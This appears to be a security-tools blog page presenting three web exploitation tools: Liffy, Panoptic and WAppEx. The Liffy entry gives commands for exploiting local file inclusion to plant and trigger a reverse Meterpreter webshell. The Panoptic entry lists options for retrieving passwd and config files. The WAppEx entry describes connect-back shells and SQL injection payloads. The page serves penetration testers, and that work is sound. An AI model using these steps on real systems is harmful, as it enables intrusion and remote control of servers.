Liffy - Local File Inclusion Exploitation Tool

Liffy is a tool written in Python designed to exploit local file inclusion vulnerabilities using three different techniques that will get you a working web shell. The first two make use of the built-in PHP wrappers php://input and data://. The third makes use of the process control extension called 'expect'.

For those unfamiliar I've included some links that highlight the usage of these techniques in LFI exploitation.

Exploitation

Once you have found an local file inclusion vulnerability, you simply point liffy at its location and select which technique you want to use.

./liffy --url http://target/vuln/file.php?= --data

The tool will create a PHP Meterpreter payload using msfpayload and drop it into your /tmp directory. It will then attempt to use the PHP wrapper to download the generated shell which you should have hosted by either using Node or Python's HTTP web servers.

http-server /tmp -p 8000

If all this works you should see a GET request to your shell, which is then downloaded to the working directory on the target webserver. From there a Metasploit resource file is created for you to spawn up a listening handler for inbound connections from the reverse PHP Meterpreter.

msfconsole -r php_listener.rc

Now you simply curl the location of your webshell and you should get see a new Meterpreter session spawn

curl --silent http://target/vuln/7ka0tqsq.php

Download Liffy

Read More

[Panoptic] Automates the process of search and retrieval of content for common log and config files through LFI vulnerability

Panoptic is an open source penetration testing tool that automates the process of search and retrieval of content for common log and config files through LFI vulnerability. Official introductionary post can be found here. Also, you can find a sample run here.

Help Menu

Usage: panoptic.py --url TARGET [options]

Options:
  -h/--help             show this help message and exit
  -v/--verbose          display extra output information
  -u/--url=URL          set target URL
  -p/--param=PARAM      set parameter name to test for (e.g. "page")
  -d/--data=DATA        set data for HTTP POST request (e.g. "page=default")
  -t/--type=TYPE        set type of file to look for ("conf" or "log")
  -o/--os=OS            set filter name for OS (e.g. "*NIX")
  -s/--software=SOFT..  set filter name for software (e.g. "PHP")
  -c/--category=CATE..  set filter name for category (e.g. "FTP")
  -l/--list=GROUP       list available filters for group (e.g. "software")
  -a/--auto             avoid user interaction by using default options
  -w/--write-files      write content of retrieved files to output folder
  -x/--skip-parsing     skip special tests if *NIX passwd file is found
  --ignore-proxy        ignore system default HTTP proxy
  --proxy=PROXY         set proxy (e.g. "socks5://192.168.5.92")
  --user-agent=UA       set HTTP User-Agent header value
  --random-agent        choose random HTTP User-Agent header value
  --cookie=COOKIE       set HTTP Cookie header value (e.g. "sid=foobar")
  --header=HEADER       set a custom HTTP header (e.g. "Max-Forwards=10")
  --prefix=PREFIX       set prefix for file path (e.g. "../")
  --postfix=POSTFIX     set postfix for file path (e.g. "")
  --multiplier=MULTI..  set multiplication number for prefix (e.g. 10)
  --bad-string=STRING   set a string occurring when file is not found
  --replace-slash=RE..  set replacement for char / in paths (e.g. "/././")
  --update              update Panoptic from official repository

Examples

./panoptic.py --url "http://localhost/lfi.php?file=test.txt"
./panoptic.py --url "http://localhost/lfi.php?file=test.txt&id=1" --param file
./panoptic.py --url "http://localhost/lfi.php" --data "file=test.txt&id=1" --param file

./panoptic.py --list software
./panoptic.py --list category
./panoptic.py --list os

./panoptic.py -u "http://localhost/lfi.php?file=test.txt" --os Windows
./panoptic.py -u "http://localhost/lfi.php?file=test.txt" --software WAMP

Download Panoptic

Read More

[WAppEx v2.0] Web Application Exploitation Tool

WAppEx is an integrated Web Application security assessment and exploitation platform designed with the whole spectrum of security professionals to web application hobbyists in mind. It suggests a security assessment model which revolves around an extensible exploit database. Further, it complements the power with various tools required to perform all stages of a web application attack.

Updates in 2.0

• Auto-detect feature deleted from exploits
• Browser tool deleted
• Exploits and payloads view changed
• Exploit Database with the following features added:
• New script syntax and structure
• Searching, selecting, and executing of exploits.
• Add/remove database entries (exploits or payloads)
• Add exploits or payloads to the database using either the Exploit Wizard or the script file
• Batch testing of multiple targets against multiple exploits
• Execute multiple instances of one or more payloads (for every running exploit) simultaneously.
• Following tools added:
• Manual Request
• Dork Finder
• Exploit Editor
• Hidden File Checker
• Neighbor Site Finder
• Local File Inclusion analyzer script updated
• 24 new payloads for LFI, RFI, and PHP Code Execution vulnerabilities added:
• Directory Explorer
• CodeExec Bind
• 3 connect-back shells
• Code Execution
• MySQL Dump
• ServerInfo
• 4 command execution payloads
• Bug-fixes:
• Find Login Page crashed on start
• Problem with software registration
• Stop button did not work when retrieving data from SQL server
• Problem with saving SQL results
• Crashed when closing Find Login Page
• Status icons were not displayed properly in exploit tabs

The full list features is as below:

• An exploit database covering a wide range of vulnerabilities.
• A set of tools useful for penetration testing:
• Manual Request
• Dork Finder
• Exploit Editor
• Hidden File Checker
• Neighbor Site Finder
• Find Login Page
• Online Hash Cracker
• Encoder/Decoder
• Execute multiple instances of one or more exploits simultaneously.
• Execute multiple instances of one or more payloads (for every running exploit) simultaneously.
• Test a list of target URL’s against a number of selected exploits.
• Allows you to create your own exploits and payloads and share them online.
• A number of featured exploits (6) and payloads (39) bundled within the software exploit database:
• Testing and exploiting of Local File Inclusion vulnerabilities
• Testing and exploiting of Local File Disclosure vulnerabilities
• Testing and exploiting of Remote File Inclusion vulnerabilities
• Testing and exploiting of SQL Injection vulnerabilities
• Testing and exploiting of Remote Command Execution Inclusion vulnerabilities
• Testing and exploiting of Server-side Code Injection vulnerabilities

Download WAppEX 2.0

Read More